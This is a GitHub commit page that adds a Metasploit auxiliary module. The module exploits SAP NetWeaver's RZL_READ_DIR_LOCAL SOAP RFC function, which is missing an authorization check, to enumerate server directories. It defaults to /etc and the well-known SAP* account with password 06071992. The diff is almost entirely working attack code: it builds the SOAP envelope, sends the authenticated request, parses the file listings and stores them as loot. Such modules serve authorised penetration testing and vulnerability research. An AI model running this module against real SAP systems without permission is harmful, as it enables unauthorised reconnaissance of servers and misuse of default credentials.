Skip to content

Commit 4054d91

Browse files
author
jvazquez-r7
committed
Land rapid7#1657, @nmonkee's RZL_READ_DIR_LOCAL SAP dir listing module
2 parents 5cfc306 + 8e9789b commit 4054d91

File tree

1 file changed

+122
-0
lines changed

1 file changed

+122
-0
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing',
35+
'Description' => %q{
36+
This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL function, on the SAP
37+
SOAP RFC Service, to enumerate directory contents. It returns only the first 32
38+
characters of the filename since they are truncated.
39+
},
40+
'References' => [
41+
[ 'OSVDB', '92732'],
42+
[ 'URL', 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ]
43+
],
44+
'Author' =>
45+
[
46+
'Alexey Tyurin', # Vulnerability discovery
47+
'nmonkee' # Metasploit module
48+
],
49+
'License' => MSF_LICENSE
50+
)
51+
52+
register_options([
53+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
54+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
55+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
56+
OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])
57+
], self.class)
58+
end
59+
60+
def parse_xml(xml_data)
61+
files = []
62+
xml_doc = Nokogiri::XML(xml_data)
63+
xml_doc.css('item').each {|item|
64+
name = item.css('NAME')
65+
size = item.css('SIZE')
66+
if not name.empty? and not size.empty?
67+
files << { "name" => name.text, "size" => size.text }
68+
end
69+
}
70+
return files
71+
end
72+
73+
def run_host(ip)
74+
data = '<?xml version="1.0" encoding="utf-8" ?>'
75+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
76+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
77+
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
78+
data << '<SOAP-ENV:Header/>'
79+
data << '<SOAP-ENV:Body>'
80+
data << '<RZL_READ_DIR_LOCAL xmlns="urn:sap-com:document:sap:rfc:functions">'
81+
data << '<FILE_TBL>'
82+
data << '<item>'
83+
data << '<NAME></NAME>'
84+
data << '<SIZE></SIZE>'
85+
data << '</item>'
86+
data << '</FILE_TBL>'
87+
data << '<NAME>' + datastore['DIR'] + '</NAME>'
88+
data << '</RZL_READ_DIR_LOCAL>'
89+
data << '</SOAP-ENV:Body>'
90+
data << '</SOAP-ENV:Envelope>'
91+
92+
begin
93+
vprint_status("#{rhost}:#{rport} - Sending request to enumerate #{datastore['DIR']}")
94+
res = send_request_cgi({
95+
'uri' => '/sap/bc/soap/rfc',
96+
'method' => 'POST',
97+
'data' => data,
98+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
99+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
100+
'ctype' => 'text/xml; charset=UTF-8',
101+
'headers' => {
102+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
103+
},
104+
'vars_get' => {
105+
'sap-client' => datastore['CLIENT'],
106+
'sap-language' => 'EN'
107+
}
108+
})
109+
if res and res.code == 200 and res.body =~ /rfc:RZL_READ_DIR_LOCAL.Response/
110+
files = parse_xml(res.body)
111+
path = store_loot("sap.soap.rfc.dir", "text/xml", rhost, res.body, datastore['DIR'])
112+
print_good("#{rhost}:#{rport} - #{datastore['DIR']} successfully enumerated, results stored on #{path}")
113+
files.each { |f|
114+
vprint_line("Entry: #{f["name"]}, Size: #{f["size"].to_i}")
115+
}
116+
end
117+
rescue ::Rex::ConnectionError
118+
vprint_error("#{rhost}:#{rport} - Unable to connect")
119+
return
120+
end
121+
end
122+
end

0 commit comments

Comments
 (0)